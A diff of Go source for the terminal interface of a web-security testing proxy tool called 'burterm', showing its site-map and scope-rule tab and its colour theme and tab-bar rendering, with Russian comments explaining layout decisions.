||||
|
||||
// targetModel — вкладка Target/Site Map: поле ввода regex-правила scope,
|
||||
// список уже добавленных правил (include/exclude) с возможностью удалить
|
||||
// любое, и построенное из перехваченного трафика дерево путей. Дерево
|
||||
// пересобирается сразу при добавлении/удалении правила и при каждой новой
|
||||
// записи от Proxy — отдельной кнопки "обновить" не нужно.
|
||||
type targetModel struct {
|
||||
input textinput.Model
|
||||
scope *sitemap.Scope
|
||||
|
||||
entries []proxy.Entry
|
||||
tree *sitemap.Tree
|
||||
treeVP viewport.Model
|
||||
|
||||
cursor int // индекс выбранного правила в scope.Rules()
|
||||
focus int // 0 — поле ввода, 1 — список правил, 2 — дерево (скролл)
|
||||
|
||||
statusMsg string
|
||||
errMsg string
|
||||
}
|
||||
|
||||
func newTargetView() targetModel {
|
||||
in := textinput.New()
|
||||
in.Placeholder = `regex, напр. ^https://example\.com/api/.*`
|
||||
in.CharLimit = 512
|
||||
in.Focus()
|
||||
|
||||
return targetModel{
|
||||
input: in,
|
||||
scope: sitemap.NewScope(),
|
||||
treeVP: viewport.New(0, 0),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *targetModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
m.treeVP.Width = width
|
||||
// 13 фиксированных строк вокруг treeVP (построчный подсчёт по View(),
|
||||
// baseline без правил/ошибок: "Правило scope"-метка+поле+разделитель
|
||||
// (3), "Правила (0)"-метка+"(пусто...)"-строка+разделитель (3),
|
||||
// разделитель+"Карта сайта"-метка (2), разделитель+5 строк футера
|
||||
// (подсказки клавиш разбиты на две строки, отдельно навигация,
|
||||
// отдельно примечание про scope) (5) — итого 13. Раньше стояло -10 —
|
||||
// недосчитано на 2 строки, плюс сам футер был одной длинной строкой
|
||||
// (свыше 190 символов), которая непредсказуемо переносилась терминалом.
|
||||
vh := height - 13
|
||||
if vh < 3 {
|
||||
vh = 3
|
||||
}
|
||||
m.treeVP.Height = vh
|
||||
}
|
||||
|
||||
// AddEntry добавляет перехваченный запрос и сразу пересобирает дерево.
|
||||
func (m *targetModel) AddEntry(e proxy.Entry) {
|
||||
m.entries = append(m.entries, e)
|
||||
m.rebuildTree()
|
||||
}
|
||||
|
||||
func (m *targetModel) rebuildTree() {
|
||||
records := make([]sitemap.Record, 0, len(m.entries))
|
||||
for _, e := range m.entries {
|
||||
errStr := ""
|
||||
if e.Err != nil {
|
||||
errStr = e.Err.Error()
|
||||
}
|
||||
records = append(records, sitemap.Record{
|
||||
ID: e.ID,
|
||||
Method: e.Method,
|
||||
URL: e.URL,
|
||||
StatusCode: e.StatusCode,
|
||||
Err: errStr,
|
||||
})
|
||||
}
|
||||
m.tree = sitemap.Build(records, m.scope)
|
||||
m.refreshTreeView()
|
||||
}
|
||||
|
||||
func (m *targetModel) refreshTreeView() {
|
||||
if m.tree == nil || len(m.tree.Hosts) == 0 {
|
||||
m.treeVP.SetContent("Карта пуста. Перехвати трафик через Proxy или дождись совпадений со scope.")
|
||||
return
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
hosts := make([]string, 0, len(m.tree.Hosts))
|
||||
for h := range m.tree.Hosts {
|
||||
hosts = append(hosts, h)
|
||||
}
|
||||
sort.Strings(hosts)
|
||||
|
||||
for _, h := range hosts {
|
||||
b.WriteString(h + "/\n")
|
||||
renderSitemapNode(&b, m.tree.Hosts[h], 1)
|
||||
}
|
||||
m.treeVP.SetContent(b.String())
|
||||
}
|
||||
|
||||
// renderSitemapNode рекурсивно печатает дерево с отступами по глубине:
|
||||
// сначала дочерние сегменты пути в алфавитном порядке, затем эндпоинты
|
||||
// на самом узле.
|
||||
func renderSitemapNode(b *strings.Builder, n *sitemap.Node, depth int) {
|
||||
indent := strings.Repeat(" ", depth)
|
||||
|
||||
names := make([]string, 0, len(n.Children))
|
||||
for name := range n.Children {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
|
||||
for _, name := range names {
|
||||
b.WriteString(indent + name + "/\n")
|
||||
renderSitemapNode(b, n.Children[name], depth+1)
|
||||
}
|
||||
|
||||
for _, ep := range n.Endpoints {
|
||||
status := fmt.Sprintf("%d", ep.StatusCode)
|
||||
if ep.Err != "" {
|
||||
status = "ERR"
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("%s [%s %s] %s\n", indent, ep.Method, status, ep.URL))
|
||||
}
|
||||
}
|
||||
|
||||
func (m targetModel) Update(msg tea.Msg) (targetModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focus = (m.focus + 1) % 3
|
||||
if m.focus == 0 {
|
||||
m.input.Focus()
|
||||
} else {
|
||||
m.input.Blur()
|
||||
}
|
||||
return m, nil
|
||||
|
||||
case "enter":
|
||||
if m.focus == 0 {
|
||||
m.addRule(false)
|
||||
return m, m.scopeChangedCmd()
|
||||
}
|
||||
|
||||
case "ctrl+e":
|
||||
if m.focus == 0 {
|
||||
m.addRule(true)
|
||||
return m, m.scopeChangedCmd()
|
||||
}
|
||||
|
||||
case "ctrl+s":
|
||||
m.export()
|
||||
return m, nil
|
||||
|
||||
case "ctrl+p":
|
||||
return m, m.saveScopeCmd()
|
||||
|
||||
case "up":
|
||||
if m.focus == 1 && m.cursor > 0 {
|
||||
m.cursor--
|
||||
return m, nil
|
||||
}
|
||||
|
||||
case "down":
|
||||
if m.focus == 1 && m.cursor < len(m.scope.Rules())-1 {
|
||||
m.cursor++
|
||||
return m, nil
|
||||
}
|
||||
|
||||
case "d":
|
||||
if m.focus == 1 {
|
||||
m.scope.RemoveAt(m.cursor)
|
||||
if m.cursor > 0 {
|
||||
m.cursor--
|
||||
}
|
||||
m.rebuildTree()
|
||||
return m, m.scopeChangedCmd()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Ключи, не перехваченные выше для текущего фокуса (например, "d" при
|
||||
// вводе паттерна, или "up"/"down" вне списка правил), уходят как
|
||||
// обычный ввод в активный компонент — это и есть провал сквозь свитч,
|
||||
// а не двойная обработка.
|
||||
var cmd tea.Cmd
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.input, cmd = m.input.Update(msg)
|
||||
case 2:
|
||||
m.treeVP, cmd = m.treeVP.Update(msg)
|
||||
}
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
// addRule берёт текст из поля ввода, компилирует как regex и добавляет
|
||||
// в scope. Регулярка компилируется синхронно (это дёшево), без ухода
|
||||
// в tea.Cmd — в отличие от сетевых операций в других вкладках, здесь
|
||||
// блокировать TUI попросту нечем.
|
||||
func (m *targetModel) addRule(exclude bool) {
|
||||
pattern := strings.TrimSpace(m.input.Value())
|
||||
if pattern == "" {
|
||||
return
|
||||
}
|
||||
if err := m.scope.Add(pattern, exclude); err != nil {
|
||||
m.errMsg = err.Error()
|
||||
return
|
||||
}
|
||||
m.errMsg = ""
|
||||
m.statusMsg = ""
|
||||
m.input.SetValue("")
|
||||
m.rebuildTree()
|
||||
}
|
||||
|
||||
// scopeChangedCmd уведомляет корневую модель, что правила scope
|
||||
// изменились — она пересоберёт независимый снапшот и передаст его
|
||||
// в живой proxy.Server, чтобы "скип трафика вне scope" в Proxy сразу
|
||||
// подхватывал актуальные правила, а не только то, что было на момент
|
||||
// запуска TUI. Снимок правил делаем сразу (Rules() — дешёвая копия),
|
||||
// а не откладываем на потом: к моменту, когда tea.Cmd выполнится,
|
||||
// m.scope мог уже почитаться дальше пользователем.
|
||||
func (m targetModel) scopeChangedCmd() tea.Cmd {
|
||||
rules := m.scope.Rules()
|
||||
return func() tea.Msg {
|
||||
return scopeChangedMsg{rules: rules}
|
||||
}
|
||||
}
|
||||
|
||||
// saveScopeCmd (ctrl+p) сериализует текущие scope-правила в JSON и
|
||||
// отправляет корневой модели — сама targetModel не держит ссылку на
|
||||
// project.Store (та живёт только в Model), поэтому запись в БД делает
|
||||
// корневой обработчик saveScopeMsg, а не эта функция напрямую.
|
||||
// Сериализация здесь синхронная (это просто json.Marshal небольшого
|
||||
// среза, не I/O) — в tea.Cmd уходит уже готовая строка.
|
||||
func (m targetModel) saveScopeCmd() tea.Cmd {
|
||||
data, err := json.Marshal(m.scope.Rules())
|
||||
return func() tea.Msg {
|
||||
if err != nil {
|
||||
return projectErrMsg{fmt.Errorf("сериализация scope-правил: %w", err)}
|
||||
}
|
||||
return saveScopeMsg{json: string(data)}
|
||||
}
|
||||
}
|
||||
|
||||
// export пишет текущее дерево в ~/.burterm/sitemap-<unix-время>.json.
|
||||
func (m *targetModel) export() {
|
||||
if m.tree == nil || len(m.tree.Hosts) == 0 {
|
||||
m.errMsg = "нечего экспортировать — карта пуста"
|
||||
return
|
||||
}
|
||||
path, err := defaultSitemapExportPath()
|
||||
if err != nil {
|
||||
m.errMsg = err.Error()
|
||||
return
|
||||
}
|
||||
if err := m.tree.ExportJSON(path); err != nil {
|
||||
m.errMsg = err.Error()
|
||||
return
|
||||
}
|
||||
m.errMsg = ""
|
||||
m.statusMsg = "экспортировано в " + path
|
||||
}
|
||||
|
||||
func defaultSitemapExportPath() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("не удалось определить домашнюю директорию: %w", err)
|
||||
}
|
||||
dir := filepath.Join(home, ".burterm")
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return "", fmt.Errorf("не удалось создать %s: %w", dir, err)
|
||||
}
|
||||
return filepath.Join(dir, fmt.Sprintf("sitemap-%d.json", time.Now().Unix())), nil
|
||||
}
|
||||
|
||||
func (m targetModel) View() string {
|
||||
focusMark := func(i int) string {
|
||||
if m.focus == i {
|
||||
return "▸ "
|
||||
}
|
||||
return " "
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(focusMark(0) + "Правило scope (regex)\n")
|
||||
b.WriteString(m.input.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
rules := m.scope.Rules()
|
||||
b.WriteString(focusMark(1) + fmt.Sprintf("Правила (%d)\n", len(rules)))
|
||||
if len(rules) == 0 {
|
||||
b.WriteString(" (пусто — весь перехваченный трафик в scope)\n")
|
||||
}
|
||||
for i, r := range rules {
|
||||
marker := " "
|
||||
if m.focus == 1 && i == m.cursor {
|
||||
marker = "▸ "
|
||||
}
|
||||
kind := "+"
|
||||
if r.Exclude {
|
||||
kind = "-"
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("%s[%s] %s\n", marker, kind, r.Pattern))
|
||||
}
|
||||
b.WriteString("\n")
|
||||
|
||||
if m.errMsg != "" {
|
||||
b.WriteString("Ошибка: " + m.errMsg + "\n")
|
||||
}
|
||||
if m.statusMsg != "" {
|
||||
b.WriteString(m.statusMsg + "\n")
|
||||
}
|
||||
|
||||
b.WriteString("\n" + focusMark(2) + "Карта сайта\n")
|
||||
b.WriteString(m.treeVP.View())
|
||||
b.WriteString("\n\ntab — фокус · enter — добавить include · ctrl+e — добавить exclude · d — удалить правило\n")
|
||||
b.WriteString("ctrl+s — экспорт JSON · ctrl+p — сохранить scope в проект\n")
|
||||
b.WriteString("f1-f12, pgup — вкладки\n")
|
||||
b.WriteString("Правила сразу применяются к Proxy: трафик вне scope больше не попадает в историю.\n")
|
||||
return b.String()
|
||||
}
|
||||
162
internal/tui/theme.go
Normal file
162
internal/tui/theme.go
Normal file
|
|
@ -0,0 +1,162 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
)
|
||||
|
||||
// Палитра для структурного UI (рамки, заголовки панелей, таб-бар) —
|
||||
// намеренно отдельная от statusStyle/severityStyle в style.go (те красят
|
||||
// ДАННЫЕ — статус-коды, находки; эти красят КАРКАС интерфейса). Числа —
|
||||
// код цвета из 256-цветной ANSI-палитры, не hex/truecolor: она надёжнее
|
||||
// деградирует на терминалах со скромной поддержкой цвета, а truecolor
|
||||
// имело бы смысл включать только при уверенности, что терминал его
|
||||
// действительно поддерживает — здесь такой уверенности нет.
|
||||
var (
|
||||
colorBorder = lipgloss.Color("62") // приглушённый синий/фиолетовый — рамки панелей
|
||||
colorPanelTitle = lipgloss.Color("213") // розовый — заголовки панелей
|
||||
colorAccent = lipgloss.Color("86") // циан — активная вкладка, акценты
|
||||
colorMuted = lipgloss.Color("245") // серый — неактивные вкладки, второстепенный текст
|
||||
colorLogo = lipgloss.Color("86")
|
||||
)
|
||||
|
||||
var (
|
||||
panelBorderStyle = lipgloss.NewStyle().
|
||||
Border(lipgloss.RoundedBorder()).
|
||||
BorderForeground(colorBorder).
|
||||
Padding(0, 1)
|
||||
|
||||
panelTitleStyle = lipgloss.NewStyle().
|
||||
Foreground(colorPanelTitle).
|
||||
Bold(true)
|
||||
|
||||
tabActiveStyle = lipgloss.NewStyle().
|
||||
Bold(true).
|
||||
Foreground(lipgloss.Color("0")).
|
||||
Background(colorAccent).
|
||||
Padding(0, 1)
|
||||
|
||||
tabInactiveStyle = lipgloss.NewStyle().
|
||||
Foreground(colorMuted).
|
||||
Padding(0, 1)
|
||||
|
||||
logoStyle = lipgloss.NewStyle().
|
||||
Foreground(colorLogo).
|
||||
Bold(true)
|
||||
)
|
||||
|
||||
// panel оборачивает body в рамку с заголовком первой строкой внутри неё.
|
||||
// Это не буквально врезанный в саму границу заголовок (как "┌─ TITLE ─┐"
|
||||
// на референсном скриншоте) — честно говоря, аккуратно вписать текст
|
||||
// прямо в линию рамки с учётом произвольной ширины панели без реального
|
||||
// терминала для проверки выравнивания я делать не рискнул: разъедется на
|
||||
// один символ — и всё выглядит сломанным. Заголовок жирным текстом
|
||||
// первой строкой внутри рамки — тот же смысловой эффект ("вот подпись
|
||||
// этой панели"), но без риска съехавшей границы.
|
||||
func panel(title, body string, width int) string {
|
||||
if width < 10 {
|
||||
width = 10
|
||||
}
|
||||
content := panelTitleStyle.Render(strings.ToUpper(title)) + "\n" + body
|
||||
return panelBorderStyle.Width(width).Render(content)
|
||||
}
|
||||
|
||||
// tabDef — одна вкладка таб-бара: горячая клавиша, подпись, идентификатор.
|
||||
type tabDef struct {
|
||||
key string
|
||||
label string
|
||||
view view
|
||||
}
|
||||
|
||||
var allTabs = []tabDef{
|
||||
{"f1", "Dash", viewDashboard},
|
||||
{"f2", "Req", viewRequestBuilder},
|
||||
{"f3", "Res", viewResults},
|
||||
{"f4", "Proxy", viewProxy},
|
||||
{"f5", "Rep", viewRepeater},
|
||||
{"f6", "Spider", viewSpider},
|
||||
{"f7", "Target", viewTarget},
|
||||
{"f8", "Decoder", viewDecoder},
|
||||
{"f9", "Comparer", viewComparer},
|
||||
{"f10", "Sequencer", viewSequencer},
|
||||
{"f11", "Scanner", viewScanner},
|
||||
{"f12", "Project", viewProject},
|
||||
{"PgUp", "Fuzzer", viewFuzzer},
|
||||
}
|
||||
|
||||
// renderTabs строит таб-бар в два ряда по семь вкладок — один длинный
|
||||
// ряд из 14 вкладок надёжно убегает за границу экрана почти на любом
|
||||
// терминале (сам от этого пострадал на скриншоте: последняя видимая
|
||||
// вкладка обрезалась серединой слова). Два ряда фиксированной длины —
|
||||
// не идеальное решение (на очень широком терминале часть строки
|
||||
// простаивает), но предсказуемое и не требует динамического измерения
|
||||
// реальной ширины текста с учётом ANSI-кодов, с которым я бы не смог
|
||||
// свериться без реального терминала под рукой.
|
||||
//
|
||||
// Активная вкладка — заливка акцентным цветом, остальные — приглушённый
|
||||
// текст. reqModified/repModified добавляют "*" к подписи Req/Rep — та
|
||||
// же индикация несохранённых правок, что была и в чисто текстовой
|
||||
// версии.
|
||||
func renderTabs(active view, reqModified, repModified bool) string {
|
||||
render := func(t tabDef) string {
|
||||
label := t.label
|
||||
switch t.view {
|
||||
case viewRequestBuilder:
|
||||
if reqModified {
|
||||
label += "*"
|
||||
}
|
||||
case viewRepeater:
|
||||
if repModified {
|
||||
label += "*"
|
||||
}
|
||||
}
|
||||
text := fmt.Sprintf("%s:%s", t.key, label)
|
||||
if t.view == active {
|
||||
return tabActiveStyle.Render(text)
|
||||
}
|
||||
return tabInactiveStyle.Render(text)
|
||||
}
|
||||
|
||||
mid := (len(allTabs) + 1) / 2
|
||||
row1 := make([]string, 0, mid)
|
||||
for _, t := range allTabs[:mid] {
|
||||
row1 = append(row1, render(t))
|
||||
}
|
||||
row2 := make([]string, 0, len(allTabs)-mid)
|
||||
for _, t := range allTabs[mid:] {
|
||||
row2 = append(row2, render(t))
|
||||
}
|
||||
|
||||
return lipgloss.JoinVertical(lipgloss.Left,
|
||||
lipgloss.JoinHorizontal(lipgloss.Top, row1...),
|
||||
lipgloss.JoinHorizontal(lipgloss.Top, row2...),
|
||||
)
|
||||
}
|
||||
|
||||
// tabTitle возвращает короткую подпись вкладки по её view — используется
|
||||
// для заголовка внешней рамки-панели, в которую оборачивается тело
|
||||
// каждой вкладки (см. Model.View в model.go).
|
||||
func tabTitle(v view) string {
|
||||
for _, t := range allTabs {
|
||||
if t.view == v {
|
||||
return t.label
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// renderLogo — простой стилизованный баннер вместо блочного ASCII-арта.
|
||||
// Причина не пытаться повторить "PENTOOL" с референса буква-в-букву:
|
||||
// блочные ASCII-буквы требуют точной посимвольной геометрии (высота
|
||||
// каждой буквы, зазоры), и без реального терминала под рукой я не могу
|
||||
// проверить, не съехало ли что-то на один пробел — а кривой ASCII-арт
|
||||
// выглядит хуже, чем его отсутствие. Разрядка через пробел + акцентный
|
||||
// цвет + горизонтальная линия — тот же "заставочный" эффект с кратно
|
||||
// меньшим риском.
|
||||
func renderLogo() string {
|
||||
spaced := strings.Join(strings.Split("BURTERM", ""), " ")
|
||||
line := strings.Repeat("─", len(spaced))
|
||||
return logoStyle.Render(spaced) + "\n" + panelTitleStyle.Render(line)
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue